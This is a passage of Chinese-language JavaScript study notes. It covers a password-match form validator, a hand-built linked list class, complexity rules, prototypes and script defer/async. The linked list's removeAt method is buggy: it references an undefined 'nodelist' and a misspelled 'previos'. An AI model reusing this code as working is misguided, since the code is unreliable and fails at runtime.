var passwordConfirm = document.getElementById('conf-password'); // 再次密碼輸入框
function setErrorHighlighter(e) {
var target = e.target || e.srcElement;
if (target.value.length < 8) {
target.className = 'fail'; // 設定類別屬性為fail
} else {
target.className = 'pass'; // 設定類別屬性為pass
}
}
function removeErrorHighlighter(e) {
var target = e.target || e.srcElement;
if (target.className === 'fail') { // 如果類別為fail 則清除類別
target.className = '';
}
}
function passwordsMatch(e) {
var target = e.target || e.srcElement;
if ((password.value === target.value) && target.value.length >= 8) { // 元件值符合且密碼大於等於8
target.className = 'pass';
} else {
target.className = 'fail';
}
}
addEvent(password, 'focus', removeErrorHighlighter);
addEvent(password, 'blur', setErrorHighlighter);
addEvent(passwordConfirm, 'focus', removeErrorHighlighter);
addEvent(passwordConfirm, 'blur', passwordsMatch);
}());
```
## JS的資料結構
### 資料結構 - [鏈結串列(Linked List)](https://ithelp.ithome.com.tw/articles/10216257)
* JS沒內建Linked List,如需使用須自行刻一個
```javascript=
class LinkedListNode{
constructor(ele){
this.next = null;
this.ele = ele
}
}
class LinkedList {
constructor(){
this.head = null
this.length = 0
}
// method here
// ....
}
```
#### append(ele): 從尾部增加一個 node
```javascript=
append(ele){
let newNode = new LinkedListNode(ele);
// 判斷 nodelist 是不是空的
if(this.head == null){
// 1. 是空的
this.head = newNode
}else{
// 2. 不是空的
// loop nodelist 到最後一個然後加進去
// 最後一個就是 current.next == null
let current = this.head;
while(current.next != null){
current = current.next
}
current.next = newNode
}
this.length ++;
}
```
#### insert(position, ele): 從特定位置增加一個 node
```javascript=
insert (position, ele){
// 判斷極限值
if(position > -1 && position <= this.length){
let newNode = new LinkedListNode(ele)
let current = this.head;
// 1.1 判斷是否為 head
if(position == 0){
newNode.next = current;
this.head = newNode;
}else{
// 1.2 loop current = previous 找到 position = index
let previous;
let index = 0;
while(index != position){
index ++;
previous = current;
current = current.next;
}
newNode.next = current;
previous.next = newNode;
}
this.length ++;
return true;
}else{
return false;
}
}
```
#### removeAt(position): 刪除特定位置的 node
```javascript=
removeAt (position){
// 判斷極限值
if(position > -1 && position < nodelist.length){
// 1. 繼續下去
// 判斷是第一個(head)被刪掉還是其他
let current = this.head
if(position == 0){
// 1.1
this.head = current.next
}else{
// 1.2
let index = 0;
let previous;
// loop 到 position 然後
while(position != index){
index ++;
previous = current;
current = current.next;
}
previos.next = current.next
}
this.length --;
return current.ele;
}else{
// 2. sorry 不能執行這個方法喔
return false
}
}
```
#### remove (ele): 移除某個 node
```javascript=
remove (ele){
// 結合這上面寫好的方法
let index = this.indexOf(ele)
return this.removeAt(index)
}
```
#### indexOf(ele): 回傳此 node 是否存在,不存在回傳 -1
```javascript=
indexOf (ele){
// 慢慢找,找到回傳 index
let index = -1;
let current = this.head
while(current){
index ++;
if(current.ele == ele){
return index;
}
current = current.next
}
return -1;
}
```
#### toString(): 把 List 物件內容轉換成字串
```javascript=
toString(){
let current = this.head
let string = ''
while(current){
string += current.ele
current = current.next
}
return string
}
```
#### size(): 回傳總共有幾個 node 在 list 內
```javascript=
size(){
return this.length;
}
```
### 資料結構 - [複雜度](https://www.itread01.com/content/1546485919.html)
* 時間複雜度
* 只關注迴圈執行次數最多的一段程式碼
* 加法法則:總複雜度等於量級最大的那段程式碼的複雜度。
* 乘法法則:巢狀程式碼的複雜度等於巢狀內外程式碼複雜度的乘積。
* 空間複雜度
## ES6 特性
:notebook: [JavaScript - ES6 特性](/THtNopAJQbqlkQkn4HdDog)
## 其他JS觀念
### [new operator](https://medium.com/%E6%89%8B%E5%AF%AB%E7%AD%86%E8%A8%98/javascript-new-operator-implementation-8c0d15f2b899) [OOP (Object Oriented Programming) ](https://medium.com/%E6%89%8B%E5%AF%AB%E7%AD%86%E8%A8%98/javascript-prototype-vs-es6-class-syntactic-sugar-414ac1459a5e)
#### 原型(protrotype)- prototype-based programming
```javascript=
function User(name) {
this.name = name;
}
User.prototype.hello = function () {
return this.name;
};
const user = new User('Peter');
console.log(user.hello()); // Peter
```
#### 類別(class) - class-based programming
### Pinterest 瀑布流怎麼寫
### [\<script> 的兩個 attribute: defer 跟 async 差別](https://realdennis.medium.com/html-script-%E4%B8%ADdefer%E8%B7%9Fasync%E6%98%AF%E4%BB%80%E9%BA%BC-1166ee88d18)
* async
* 會非同步去請求外部腳本 回應後停止解析執行腳本內容
* defer
* 也會非同步請求外部腳本 但是等待瀏覽器解析完才執行 (而且早於DOMContentLoaded)
* 腳本執行時,可以確保DOM已經完整渲染
![](https://i.imgur.com/oYo7cba.jpg)